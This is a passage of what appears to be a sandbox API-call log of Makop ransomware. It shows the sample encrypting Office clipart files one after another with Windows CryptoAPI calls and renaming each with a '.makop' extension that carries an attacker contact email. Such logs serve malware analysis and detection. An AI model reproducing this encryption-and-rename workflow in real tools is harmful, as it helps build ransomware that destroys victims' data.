ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02028_.WMF", cAlternateFileName="")) returned 1 [0151.912] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF") returned 63 [0151.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.913] GetProcessHeap () returned 0x48a0000 [0151.914] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.914] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.914] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.914] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.918] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.918] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.918] GetProcessHeap () returned 0x48a0000 [0151.918] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.918] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.918] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.918] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.918] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.919] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.919] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.919] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.919] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.919] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.919] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.919] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.920] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x24c8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x24c8, lpOverlapped=0x0) returned 1 [0151.921] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x24d0, dwBufLen=0x24d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x24d0) returned 1 [0151.921] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.921] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x24d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x24d0, lpOverlapped=0x0) returned 1 [0151.922] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.922] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x25a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.922] SetEndOfFile (hFile=0xf0) returned 1 [0151.929] GetProcessHeap () returned 0x48a0000 [0151.929] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.929] GetProcessHeap () returned 0x48a0000 [0151.929] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.929] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.929] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.931] CloseHandle (hObject=0xf0) returned 1 [0151.931] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x266c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02045_.WMF", cAlternateFileName="")) returned 1 [0151.931] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF") returned 63 [0151.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.932] GetProcessHeap () returned 0x48a0000 [0151.932] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.932] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.932] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.932] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.937] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.937] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.937] GetProcessHeap () returned 0x48a0000 [0151.937] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.937] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.937] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.937] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.937] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.937] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.938] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.938] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.938] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.938] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.938] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.938] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.939] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x266c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x266c, lpOverlapped=0x0) returned 1 [0151.940] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2670, dwBufLen=0x2670 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2670) returned 1 [0151.940] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.940] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2670, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2670, lpOverlapped=0x0) returned 1 [0151.941] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.941] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.941] SetEndOfFile (hFile=0xf0) returned 1 [0151.948] GetProcessHeap () returned 0x48a0000 [0151.948] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.948] GetProcessHeap () returned 0x48a0000 [0151.948] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.948] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.948] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.950] CloseHandle (hObject=0xf0) returned 1 [0151.950] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fde, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02048_.WMF", cAlternateFileName="")) returned 1 [0151.950] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF") returned 63 [0151.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.952] GetProcessHeap () returned 0x48a0000 [0151.952] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.952] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.952] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.952] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0151.957] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.957] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.957] GetProcessHeap () returned 0x48a0000 [0151.957] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.957] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.957] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.957] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.957] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.958] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.958] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.958] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.958] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.959] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.959] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.959] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.959] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1fde, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1fde, lpOverlapped=0x0) returned 1 [0151.960] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1fe0, dwBufLen=0x1fe0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1fe0) returned 1 [0151.961] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.961] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1fe0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1fe0, lpOverlapped=0x0) returned 1 [0151.961] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.961] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x20b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.961] SetEndOfFile (hFile=0xf0) returned 1 [0151.968] GetProcessHeap () returned 0x48a0000 [0151.968] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.968] GetProcessHeap () returned 0x48a0000 [0151.968] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.968] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.968] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.970] CloseHandle (hObject=0xf0) returned 1 [0151.970] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02051_.WMF", cAlternateFileName="")) returned 1 [0151.970] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF") returned 63 [0151.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.972] GetProcessHeap () returned 0x48a0000 [0151.972] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.972] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.972] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.973] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.977] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.977] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.978] GetProcessHeap () returned 0x48a0000 [0151.978] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.978] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.978] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.978] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.978] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.978] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.978] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.979] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.979] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.979] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.979] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.979] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.979] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2c2c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2c2c, lpOverlapped=0x0) returned 1 [0151.981] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2c30, dwBufLen=0x2c30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2c30) returned 1 [0151.981] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.981] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2c30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2c30, lpOverlapped=0x0) returned 1 [0151.981] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.982] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2d04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.982] SetEndOfFile (hFile=0xf0) returned 1 [0151.988] GetProcessHeap () returned 0x48a0000 [0151.988] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.988] GetProcessHeap () returned 0x48a0000 [0151.988] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.988] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft 